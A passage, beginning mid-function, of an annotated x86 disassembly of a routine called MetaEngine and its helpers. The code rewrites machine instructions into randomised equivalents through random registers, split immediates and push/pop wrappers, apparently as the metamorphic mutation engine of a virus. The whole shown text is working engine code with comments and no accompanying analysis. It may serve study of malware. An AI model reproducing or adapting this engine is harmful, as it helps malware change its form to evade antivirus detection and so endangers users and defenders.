                mov     ecx, esi                  ; ecx = pointer to code

ReturnZero:                                       ; CODE XREF: MetaEngine+546j
                xor     eax, eax                  ; eax = 0

FreeMemory:                                       ; CODE XREF: MetaEngine+559j
                push    eax                       ; save return value
                mov     eax, [ebp+RelocStart]     ; eax = start of disassembly buffer
                push    eax
                call    callVirtualFree           ; free memory
                pop     eax                       ; restore return value
                pop     edi
                pop     esi                       ; restore registers
                pop     ebx
                add     esp, 8
                pop     ebp
                nop
                retn    0Ch
MetaEngine      endp


; _______________ S U B R O U T I N E _______________________________________

; returns random eax (0 to 7)

Rnd7            proc near                         ; CODE XREF: MetaEngine+77p
                                                  ; MetaEngine:Mutate?p ...
                call    Random
                and     eax, 111b
                cmp     eax, 0
                retn
Rnd7            endp

; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine

StoreDisplacementPlus2:                           ; CODE XREF: MetaEngine+22Bj
                                                  ; MetaEngine+27Aj ...
                call    CheckDisplacement         ; returns cl: 0, 1 or 4
                add     cl, 2                     ; 2 more bytes

StoreBytes:                                       ; CODE XREF: MetaEngine+18Ej
                                                  ; MetaEngine+1AEj ...
                and     ecx, 0FFh                 ; and the cl bits
                rep movsb                         ; write until cl = 0
                jmp     LoadInstruction
; END OF FUNCTION CHUNK FOR MetaEngine

; _______________ S U B R O U T I N E _______________________________________

; returns cl: 0, 1 or 4

CheckDisplacement proc near                       ; CODE XREF: MetaEngine+2CCp
                                                  ; MetaEngine+503p ...
                xor     ecx, ecx                  ; ecx = 0
                mov     cl, [esi+1]               ; cl = ModRM
                and     cl, 11000000b
                cmp     cl, 0                     ; [mod] == 00?
                jz      short ret_CheckDisplacement
                cmp     cl, 11000000b             ; [mod] == 11?
                jnz     short isMod01
                mov     cl, 0                     ; no displacement
                jmp     short ret_CheckDisplacement
; ___________________________________________________________________________

isMod01:                                          ; CODE XREF: CheckDisplacement+10j
                cmp     cl, 1000000b              ; [mod] == 01?
                jnz     short Mod10
                mov     cl, 1                     ; 1 byte displacement
                jmp     short ret_CheckDisplacement
; ___________________________________________________________________________

Mod10:                                            ; CODE XREF: CheckDisplacement+19j
                mov     cl, 4                     ; 4 bytes displacement

ret_CheckDisplacement:                            ; CODE XREF: CheckDisplacement+Bj
                                                  ; CheckDisplacement+14j ...
                retn
CheckDisplacement endp


; _______________ S U B R O U T I N E _______________________________________


InvertSign      proc near                         ; CODE XREF: MetaEngine+126p
                                                  ; MetaEngine+3CBp ...
                push    ecx
                xor     ecx, ecx                  ; ecx = 0
                cmp     al, 0
                jns     short DontInvert
                sub     ecx, 1

DontInvert:                                       ; CODE XREF: InvertSign+5j
                mov     cl, al
                mov     eax, ecx                  ; return value in eax
                pop     ecx
                retn
InvertSign      endp


; _______________ S U B R O U T I N E _______________________________________

; returns a random dword in EAX
; Attributes: bp-based frame

GetRandomDword  proc near                         ; CODE XREF: MetaEngine+B5p
                                                  ; MetaEngine+DAp ...
                push    ebp
                mov     ebp, esp
                push    ecx
                push    edx
                call    Random
                mov     edx, eax
                call    Random
                and     al, 11111b
                mov     cl, al
                mov     eax, 0FFFFFF00h
                rol     eax, cl
                and     edx, eax
                call    Random
                and     al, 11111b
                mov     cl, al
                mov     eax, 0FFFFFF00h
                rol     eax, cl
                and     edx, eax
                mov     eax, edx
                pop     edx
                pop     ecx
                pop     ebp
                retn
GetRandomDword  endp

; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine

Morph1:                                           ; CODE XREF: MetaEngine+249j
                                                  ; MetaEngine+298j
                mov     bh, 0                     ; if bh == 0, choose random reg
                call    GetWBit                   ; dl = *esi & 1
                call    GetRandomReg32
                add     al, 50h                   ; Generate PUSH RandomReg
                stosb                             ; store
                mov     al, 89h                   ; Generate MOV r/m32, r32
                stosb                             ; store
                mov     al, [esi+1]               ; al = original ModRM
                and     al, 111b                  ; save last 3 bits
                rol     al, 3                     ; place original register in the [reg/opcode] field
                or      al, 11000000b             ; set [mod] = 11
                add     al, bl                    ; set [reg] field = radnom register
                stosb                             ; store
                mov     al, [esi+1]               ; al = original ModRM
                and     al, 10000000b
                cmp     al, 0                     ; if [mod] != 0
                jnz     short GenAddRandomReg32
                mov     cl, [esi+2]               ; cl = imm8
                mov     al, 83h                   ; al = OP r/m32, imm8
                                                  ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                stosb                             ; store
                mov     al, bl                    ; al = random reg
                or      al, 11000000b             ; set [mod] = 11, [reg/opcode] = ADD
                cmp     cl, 0                     ; check the sign of CL
                js      short GenSubRandomReg8
                stosb                             ; store
                call    Random                    ; get random number
                and     al, 7Fh                   ; set it between 0 - 7F
                stosb                             ; store
                sub     cl, al                    ; cl -= radnom
                jmp     short GenOpRegRandomReg8
; ___________________________________________________________________________

GenSubRandomReg8:                                 ; CODE XREF: MetaEngine+633j
                or      al, 101000b               ; set [reg/opcode] field = 101 (SUB)
                stosb                             ; store
                call    Random                    ; get random number
                and     al, 7Fh                   ; set it between 0 - 7F
                stosb                             ; store
                add     cl, al                    ; cl += random

GenOpRegRandomReg8:                               ; CODE XREF: MetaEngine+640j
                movsb                             ; copy original opcode byte
                lodsb                             ; al = ModRM
                and     al, 11111000b             ; save [mod] and [reg/opcode] fields
                add     al, bl                    ; add random register
                stosb                             ; store
                mov     al, cl                    ; al = random number
                stosb                             ; store
                add     esi, 1                    ; increase code counter
                jmp     short GenPopRandomReg
; ___________________________________________________________________________

GenAddRandomReg32:                                ; CODE XREF: MetaEngine+624j
                mov     ecx, [esi+2]              ; ecx = imm32
                mov     al, 81h                   ; al = OP r/m32, imm32
                                                  ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                stosb                             ; store
                mov     al, bl                    ; al = random register
                or      al, 11000000b             ; set [mod] = 11, [reg/opcode] = ADD
                cmp     ecx, 0                    ; check sign of imm32
                js      short GenSubRandomReg32
                stosb                             ; store
                call    Random                    ; get random number
                and     eax, 7FFh                 ; set it between 0 - 77F
                stosd                             ; store dword
                sub     ecx, eax                  ; ecx -= random
                jmp     short GenOpRegRandomReg32
; ___________________________________________________________________________

GenSubRandomReg32:                                ; CODE XREF: MetaEngine+66Bj
                or      al, 101000b               ; set [reg/opcode] field = 101 (SUB)
                stosb                             ; store
                call    Random                    ; get random number
                and     eax, 77Fh                 ; set it between 0 - 77F
                stosd                             ; store dword
                add     ecx, eax                  ; ecx += random

GenOpRegRandomReg32:                              ; CODE XREF: MetaEngine+67Bj
                movsb                             ; copy original opcode byte
                lodsb                             ; al = ModRM
                and     al, 11111000b             ; clear the [reg] field
                add     al, bl                    ; add random reg
                stosb                             ; store
                mov     eax, ecx                  ; eax = random dword
                stosd                             ; store dword
                add     esi, 4                    ; incrase code pointer by 4

GenPopRandomReg:                                  ; CODE XREF: MetaEngine+65Cj
                mov     al, bl                    ; al = random register
                add     al, 58h                   ; Generate POP RandomReg
                stosb                             ; store
                jmp     LoadInstruction
; END OF FUNCTION CHUNK FOR MetaEngine

; _______________ S U B R O U T I N E _______________________________________

; dl = *esi & 1

GetWBit         proc near                         ; CODE XREF: MetaEngine+600p
                                                  ; GetRandomReg8p
                mov     dl, [esi]
                and     dl, 1
GetWBit         endp


; _______________ S U B R O U T I N E _______________________________________

; returns: dh(w=1)=FB; dh(w=0)=FF;

ModifyDh        proc near                         ; CODE XREF: MetaEngine+7BCp
                mov     dh, dl                    ; dh = w bit
                xor     dh, 1                     ; inverse
                rol     dh, 2
                xor     dh, 11111111b
                retn
ModifyDh        endp


; _______________ S U B R O U T I N E _______________________________________

; returns: bl = random reg value (0-7)

GetRandomReg8   proc near                         ; CODE XREF: MetaEngine+733p
                                                  ; MetaEngine+77Ap ...
                call    GetWBit                   ; dl = *esi & 1
                cmp     dl, 0                     ; is it 8bit?
                jnz     short GetRandomReg32      ; no, go to the 32bit version

GetReg8:                                          ; CODE XREF: GetRandomReg8+24j
                                                  ; GetRandomReg8+38j
                call    Random                    ; get random number
                and     al, 111b                  ; make it bwtween 0-7
                mov     cl, al                    ; cl = random number
                and     cl, dh
                mov     ch, [esi+1]               ; ch = ModRM
                cmp     ch, 11000000b
                jb      short CheckReg8
                and     ch, dh

CheckReg8:                                        ; CODE XREF: GetRandomReg8+1Bj
                and     ch, 111b                  ; keep the last 3 bits
                cmp     cl, ch                    ; the same register?
                jz      short GetReg8             ; get another one
                cmp     bh, 0
                jnz     short ret_RandomReg8
                mov     ch, [esi+1]               ; ch = ModRM
                ror     ch, 3                     ; check the [reg/opcode] field
                and     ch, 111b
                and     ch, dh
                cmp     cl, ch                    ; the same register?
                jz      short GetReg8             ; get another one

ret_RandomReg8:                                   ; CODE XREF: GetRandomReg8+29j
                mov     bl, al                    ; bl = random register
                retn
GetRandomReg8   endp


; _______________ S U B R O U T I N E _______________________________________


GetRandomReg32  proc near                         ; CODE XREF: MetaEngine+605p
                                                  ; GetRandomReg8+8j ...
                call    Random                    ; get random number
                and     al, 111b                  ; make it between 0-7 (a register)
                cmp     al, 4                     ; ESP?
                jz      short GetRandomReg32      ; avoid
                cmp     al, 5                     ; EBP?
                jz      short GetRandomReg32      ; avoid
                mov     cl, al                    ; cl = random reg
                mov     ch, [esi+1]               ; ch = ModRM
                cmp     ch, 11000000b
                jb      short loc_40270A
                and     cl, dh
                and     ch, dh

loc_40270A:                                       ; CODE XREF: GetRandomReg32+17j
                and     ch, 111b                  ; keep last 3 bits
                cmp     cl, ch                    ; is the [reg] field in ModRM == random reg?
                jz      short GetRandomReg32      ; yes, choose another register
                cmp     bh, 0                     ; if (flag) == false
                jnz     short ret_RandomReg32
                mov     cl, al                    ; cl = random reg
                and     cl, dh
                mov     ch, [esi+1]               ; ch = ModRM
                ror     ch, 3
                and     ch, 111b                  ; keep last 3 bits
                and     ch, dh
                cmp     cl, ch
                jz      short GetRandomReg32

ret_RandomReg32:                                  ; CODE XREF: GetRandomReg32+27j
                mov     bl, al                    ; bl = random reg
                retn
GetRandomReg32  endp

; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine

Morph2:                                           ; CODE XREF: MetaEngine:jmp_Mutatej
                mov     bh, 0
                call    GetRandomReg8             ; returns: bl = random reg value (0-7)
                call    MakePushRandomReg         ; store (bl & dh) + 50h
                mov     al, 8Ah                   ; Generate MOV r8,r/m8
                add     al, dl                    ; dl = w bit
                stosb                             ; store (8A or 8B)
                mov     al, [esi+1]               ; al = ModRM
                and     al, 111000b               ; save the [reg/opcode] field
                ror     al, 3                     ; move first reg to the [reg] field
                mov     ah, bl                    ; ah = random reg
                rol     ah, 3                     ; move random reg ro the [reg/opcode] field
                add     al, ah                    ; add it
                or      al, 11000000b             ; set [mod] = 11
                stosb                             ; store
                mov     al, [esi]                 ; al = original opcode
                stosb                             ; store
                mov     al, [esi+1]               ; al = ModRM
                and     al, 11000111b             ; save [reg/opcode] field
                mov     ah, bl                    ; ah = random reg
                rol     ah, 3                     ; save random reg in the [reg/opcode] field
                add     al, ah                    ; add random reg to ModRM
                stosb                             ; store
                call    CheckDisplacement         ; returns cl: 0, 1 or 4
                add     esi, 2                    ; increase code pointer by 2
                rep movsb                         ; copy displacement
                call    MakePopRandomReg          ; store (bl & dh) + 58h
                jmp     LoadInstruction
; ___________________________________________________________________________

Morph3:                                           ; CODE XREF: MetaEngine:_jmp_Mutatej
                mov     bh, 0
                call    GetRandomReg8             ; returns: bl = random reg value (0-7)
                call    MakePushRandomReg         ; store (bl & dh) + 50h
                mov     al, [esi]                 ; al = opcode
                and     al, 11111110b             ; clear w bit
                cmp     al, 8Ah                   ; MOV r8, r/m8?
                jz      short Morph3_Continue     ; jump to 8 bit version
                mov     al, 88h                   ; Generate MOV r32, r/m32
                add     al, dl                    ; add the w bit
                stosb                             ; store
                mov     al, [esi+1]               ; al = ModRM
                and     al, 111000b               ; clear the [reg] field
                add     al, bl                    ; add random register
                or      al, 11000000b             ; set [mod] = 11
                stosb                             ; store

Morph3_Continue:                                  ; CODE XREF: MetaEngine+78Aj
                mov     al, [esi]                 ; al = original opcode
                mov     dh, al                    ; dh = original opcode
                stosb                             ; store
                mov     al, [esi+1]               ; al = ModRM
                and     al, 11000111b             ; clear [reg/opcode] field
                mov     ah, bl                    ; ah = random register
                rol     ah, 3                     ; place it in the [reg/opcode] field
                add     al, ah                    ; add to ModRM
                stosb                             ; store ModRM
                mov     bh, [esi+1]               ; bh = original ModRM
                call    CheckDisplacement         ; returns cl: 0, 1 or 4
                add     esi, 2                    ; increase code counter by 2
                rep movsb                         ; copy displacement
                mov     al, dh                    ; al = opcode
                call    ModifyDh                  ; returns: dh(w=1)=FB; dh(w=0)=FF;
                and     al, 11111110b             ; clear w bit
                cmp     al, 3Ah                   ; CMP r8, r/m8?
                jz      short Wrap_Morph3
                mov     al, 8Ah                   ; al = MOV r8, r/m8, direction flag set
                add     al, dl                    ; add the w bit
                stosb                             ; store opcode
                mov     al, bh                    ; al = original ModRM
                and     al, 111000b               ; clear the [reg] field
                add     al, bl                    ; add random register
                or      al, 11000000b             ; set [mod] = 11
                stosb

Wrap_Morph3:                                      ; CODE XREF: MetaEngine+7C5j
                call    MakePopRandomReg          ; store (bl & dh) + 58h
                jmp     LoadInstruction
; ___________________________________________________________________________

Morph4:                                           ; CODE XREF: MetaEngine:__jmp_Mutatej
                call    GetRandomReg8             ; returns: bl = random reg value (0-7)
                call    MakePushRandomReg         ; store (bl & dh) + 50h
                mov     al, dl                    ; al = w bit
                rol     al, 3                     ; move the w bit 3 bits left
                add     al, 0B0h                  ; Generate MOV r8/32, imm8/32
                                                  ; B0 = 1011 w reg
                add     al, bl                    ; add random register
                stosb                             ; store
                call    CheckDisplacement         ; returns cl: 0, 1 or 4
                add     ecx, esi                  ; add location+displacement
                mov     eax, [ecx+2]              ; eax = original immediate
                cmp     dl, 0                     ; check the w bit
                jz      short StoreOneByte        ; store one byte
                stosd                             ; store dword
                jmp     short Morph4_Continue
; ___________________________________________________________________________

StoreOneByte:                                     ; CODE XREF: MetaEngine+800j
                stosb                             ; store one byte

Morph4_Continue:                                  ; CODE XREF: MetaEngine+803j
                mov     al, bh                    ; bh = opcode saved before call to this routine
                add     al, dl                    ; add the w bit
                stosb                             ; store
                mov     al, [esi+1]               ; al = original ModRM
                and     al, 11000111b             ; clear the [reg/opcode] field
                mov     ah, bl                    ; ah = random reg
                rol     ah, 3                     ; place it in the [reg/opcode] field
                add     al, ah                    ; add to ModRM byte
                stosb                             ; store
                call    CheckDisplacement         ; returns cl: 0, 1 or 4
                add     esi, 2                    ; increase code pointer by 2
                rep movsb                         ; copy displacement
                add     esi, 1                    ; increase code pointer
                cmp     dl, 0                     ; check w bit
                jz      short Wrap_Morph4
                add     esi, 3                    ; increase code pointer by 3

Wrap_Morph4:                                      ; CODE XREF: MetaEngine+828j
                call    MakePopRandomReg          ; store (bl & dh) + 58h
                jmp     LoadInstruction
; END OF FUNCTION CHUNK FOR MetaEngine

; _______________ S U B R O U T I N E _______________________________________

; store (bl & dh) + 50h

MakePushRandomReg proc near                       ; CODE XREF: MetaEngine+738p
                                                  ; MetaEngine+77Fp ...
                mov     al, bl
                and     al, dh
                add     al, 50h
                stosb
                retn
MakePushRandomReg endp


; _______________ S U B R O U T I N E _______________________________________

; store (bl & dh) + 58h

MakePopRandomReg proc near                        ; CODE XREF: MetaEngine+76Ep
                                                  ; MetaEngine:Wrap_Morph3p ...
                mov     al, bl
                and     al, dh
                add     al, 58h
                stosb
                retn
MakePopRandomReg endp